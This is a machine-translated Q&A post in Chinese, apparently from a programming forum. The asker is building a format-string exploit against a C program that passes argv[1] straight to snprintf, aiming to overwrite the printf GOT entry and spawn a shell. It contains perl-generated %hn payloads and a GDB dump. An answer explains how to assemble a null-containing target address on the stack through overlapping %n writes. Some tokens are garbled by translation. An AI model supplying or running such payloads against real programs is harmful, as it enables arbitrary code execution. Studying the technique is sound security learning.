我正在尝试执行返回libc格式的字符串攻击,但我要写入的地址(0x0804a000)中有一个空字节!我必须将我的格式字符串读入snprintf,因此空字节会导致它出现故障并且Segfaults会随机出现。
buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);
这是printf @ plt的GDB转储:
(gdb) disassem 0x080483c0
Dump of assembler code for function printf@plt:
0x080483c0 <+0>: jmp *0x804a000
0x080483c6 <+6>: push $0x0
0x080483cb <+11>: jmp 0x80483b0
End of assembler dump.
有没有人有任何想法?
我当前的方法是像这样运行它
./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`
但是有一个空字节。我也试过
./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`
但是0x0804a000
之前的地址具有全局偏移表,因此甚至在返回调用它的to函数之前snprintf Segfaults。
答案 0 :(得分:2)
一种常见的方法是使用堆栈进行一些“内存构造”。
在构造结束时,您需要在堆栈中的某个位置(让我们称该位置 n ,让我们说它对应于第五个参数):
00 a0 04 08
鉴于您可以首先将 0x01 (或者您喜欢的任何内容,我们只对空字节感兴趣)写入 n-1 。位置 n 的内存将如下所示:
00 ?? ?? ??
然后将 0x04a0 写入 n + 1 ,因此 n 位置的内存如下所示:
00 a0 04 ??
最后一步是将 0xff08 写入 n + 3 。
完成后,您可以使用直接参数访问来获取您的地址并在指定位置写入值。
%12345x%5 $ N
您只需使用 $ hn 和 $ n 进行游戏,然后找到一种方法来重叠适合您的数据。我希望你明白这个主意。